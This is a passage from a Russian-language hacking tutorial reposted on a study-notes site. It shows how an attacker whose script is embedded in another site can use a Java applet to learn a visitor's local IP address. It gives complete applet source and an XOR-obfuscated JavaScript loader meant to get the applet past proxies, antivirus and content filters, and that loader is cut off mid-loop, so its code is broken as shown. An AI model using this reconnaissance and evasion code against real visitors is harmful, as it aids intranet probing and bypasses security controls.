Студопедия
Главная страница | Контакты | Случайная страница

АвтомобилиАстрономияБиологияГеографияДом и садДругие языкиДругоеИнформатика
ИсторияКультураЛитератураЛогикаМатематикаМедицинаМеталлургияМеханика
ОбразованиеОхрана трудаПедагогикаПолитикаПравоПсихологияРелигияРиторика
СоциологияСпортСтроительствоТехнологияТуризмФизикаФилософияФинансы
ХимияЧерчениеЭкологияЭкономикаЭлектроника

Java applet

В тех случаях, когда прокси обрезает эти заголовки или хакер не имеет доступа к серверной стороне (например, если его скрипт внедрен в чужой сайт), вышеописанная техника не будет эффективной. Но если у клиента установлена виртуальная машина Java, хакер может создать специальный апплет и уже с его помощью определить локальный адрес клиента.

Впервые этот способ был продемонстрирован еще в 2002 году. Lars Kindermann, автор идеи, тогда даже не подозревал, насколько востребованным может стать его решение в будущем. Идея программы заключается, в том, что Java код находящийся на сервере www.hacker.com, создает подключение к самому себе. В результате создается экземпляр класса java.net.socket, в котором хранится сетевая информация о клиенте:

import java.applet.*;

import java.awt.*;

import java.io.*;

import java.net.*;

 

public class javaSocket extends Applet {

 

// это структура, мы используем ее для хранения

// сетевой информации о хосте:

public class Host{

 

public String name;

public String ip;

public int port;

 

};

 

public int ubyte(byte value){

 

return (int)value & 0xff;

}

 

public String getStringIP(byte[] ip){

 

return (ubyte(ip[0]) + "."

+ ubyte(ip[1]) + "."

+ ubyte(ip[2]) + "."

+ ubyte(ip[3])

);

 

}

 

// это служебная функция, для демонстрации

// она выводит в Ява консоль информацию про хост

public void showHost(String name,Host host)

{

System.out.println(name + " name: " + host.name);

System.out.println(name + " port: " + host.port);

System.out.println(name + " ip: " + host.ip);

 

return;

}

 

// функция определяет адрес веб-сервера

public Host getHostBase(){

 

Host base = new Host();

 

// берем DNS имя веб-сервера

base.name = getDocumentBase().getHost();

// порт по которому он работает

base.port = getDocumentBase().getPort();

 

if(base.port == -1)

base.port = 80; // на заметку: -1 = 80

 

base.ip = "unknown";

 

// создаем подключение к серверу по его DNS,

// чтобы получить IP адрес сервера:

try

{

Socket connection = new Socket(base.name, base.port);

byte[] ip = connection.getInetAddress().getAddress();

base.ip = getStringIP(ip); // превращаем массив в строку

 

}catch(Exception e){ base.ip = "error"; };

 

return base;

}

 

// получаем локальный адрес клиента:

public Host getHostLocal()

{

// берем адрес сервера

Host base = getHostBase();

Host local = new Host();

 

try {

// создаем подключение к серверу:

Socket connection = new Socket(base.name, base.port);

 

// Это наше локальное имя:

local.name = connection.getLocalAddress().getHostName();

// Это наш адрес:

local.ip = connection.getInetAddress().getHostAddress();

// Это порт подключения:

local.port = connection.getLocalPort();

 

if(local.port == -1)

local.port = 80; // это уже понятно:)

 

 

} catch(Exception e)

{

// если произошла ошибка, возвращаем хоть что-то:

local.name = "localhost";

local.port = '0';

local.ip = "127.0.0.1";

}

return local;

 

}

 

// Инициализация:

public void init()

{

showHost("server", getHostBase());

showHost("local", getHostLocal());

}

}

Для исполнения аплета, добавляем следующий код в наш скрипт go2intranet.php:

<applet code=javaSocket.class></applet>

Апплет выводит данные в консоль виртуальной машины Ява:

На практике, он может делать специальный запрос на веб-сервер, чтобы передать полученные данные хакерскому скрипту. Далее мы рассмотрим комплексное решение, по определению клиентского IP адреса, поэтому обработку данных оставим на потом.

Следует заметить, что прокси или антивирус может блокировать активное содержимое, в таком случае следует применять обфускацию кода. Тэг апплета, можно добавлять в документ на лету, используя JavaScript:

<script>

var code = [0,93,76,76,80,89,72,28,95,83,88,89,1,86,

93,74,93,111,83,95,87,89,72,18,95,80,93,

79,79,2,0,19,93,76,76,80,89,72,2];

var html="";

for(char=0;char

Этот код идентичен с:

<applet code=javaSocket.class></applet>

Но будет считаться безопасным, для систем контроля содержимого. Но что если у клиента отключена виртуальная машина Java?




Дата добавления: 2015-09-11; просмотров: 75 | Поможем написать вашу работу | Нарушение авторских прав

Внешний адрес | Комплексное решение | Вплив забруднення повітря на органом людини | Хімічні властивості | Завдання |


lektsii.net - Лекции.Нет - 2014-2025 год. (0.007 сек.) Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав